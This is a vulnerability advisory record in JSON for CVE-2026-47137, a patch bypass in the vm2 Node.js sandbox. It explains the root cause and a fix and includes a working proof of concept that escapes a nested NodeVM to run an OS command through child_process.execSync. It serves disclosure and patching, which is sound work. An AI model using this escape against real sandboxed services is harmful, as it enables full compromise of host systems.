{"id":"CVE-2026-47137","aliases":["CVE-2026-47137","GHSA-m4wx-m65x-ghrr"],"related":[],"kind":"vulnerability","state":"published","title":"vm2: GHSA-8hg8-63c5-gwmx patch bypass: nesting:true without explicit require still allows full RCE","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.\n\nWhen `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.\n\n## Root Cause\n\n```javascript\n// nodevm.js:263 — the security check\nif (options.nesting === true && options.require === false) {\n    throw new VMError('...');\n}\n// nodevm.js:280 — the default assignment (AFTER the check)\nconst { require: requireOpts = false } = options;\n// When options.require is undefined:\n//   - Line 263: undefined === false → FALSE → check skipped\n//   - Line 280: requireOpts = false → same as require:false\n```\n\n## Impact\n\nFull Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:\n\n1. `require('vm2')` to get the vm2 library\n2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }`\n3. Execute arbitrary OS commands via `child_process.execSync`\n\nThe inner VM is completely unconstrained by the outer sandbox configuration.\n\n## Reproduction\n\n```javascript\nconst { NodeVM } = require('vm2');\n\n// nesting:true, require not specified (defaults to false AFTER the check)\nconst nvm = new NodeVM({ nesting: true });\n\nconst result = nvm.run(`\n  const { NodeVM } = require('vm2');\n  const inner = new NodeVM({\n    require: { builtin: ['child_process'] }\n  });\n  module.exports = inner.run(\n    \"module.exports = require('child_process').execSync('id').toString()\",\n    'exploit.js'\n  );\n`, 'exploit.js');\n\nconsole.log(result); // prints host uid/gid — full RCE\n```\n\n## Suggested Fix\n\n```javascript\n// Change the check to catch both false and undefined/omitted:\nif (options.nesting === true && !options.require) {\n    throw new VMError('...');\n}\n```\n\nOr move the check after the destructuring default assignment:\n\n```javascript\nconst { require: requireOpts = false } = options;\nif (options.nesting === true && !requireOpts) {\n    throw new VMError('...');\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"vm2 es una vm/sandbox de código abierto para Node.js. Antes de la versión 3.11.4, la corrección para GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introdujo una comprobación en la línea 263 de nodevm.js que bloquea la combinación nesting: true + require: false. Sin embargo, la comprobación utiliza igualdad estricta (options.require === false), lo que se elude trivialmente omitiendo por completo la opción require. Cuando require no se especifica, options.require es undefined, no false. La comprobación de igualdad estricta falla, por lo que se omite la protección de seguridad. Inmediatamente después (línea 280), la desestructuración predeterminada require: requireOpts = false asigna requireOpts = false, produciendo la configuración exacta que el parche estaba diseñado para prevenir. Este problema ha sido parcheado en la versión 3.11.4.","source":"nvd"}],"published":"2026-05-29T17:50:22.000Z","modified":"2026-10-26T11:10:00.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"}],"cwes":["CWE-913"],"affected":[{"ranges":[{"version":"< 3.11.4","status":"affected"}],"vendor":"patriksimek","product":"vm2","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.11.4"}],"ecosystem":"npm","package":"vm2","purl":"pkg:npm/vm2","source":"ghsa"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/advisories/GHSA-g644-9gfx-q4q4","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47137","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-06-12T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-47137","url":"https://www.cve.org/CVERecord?id=CVE-2026-47137","licence":"CVE Terms of Use","modified":"2026-06-13T03:55:56.787Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m4wx-m65x-ghrr","url":"https://github.com/advisories/GHSA-m4wx-m65x-ghrr","licence":"CC-BY-4.0","modified":"2026-07-08T08:14:40.607Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-47137","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47137","licence":"Public domain","modified":"2026-10-26T11:10:00.157Z"}],"updatedAt":"2026-11-25T22:59:24.514Z","epss":{"score":0.00705,"percentile":0.48995,"date":"2026-11-30T12:00:22.000Z"}}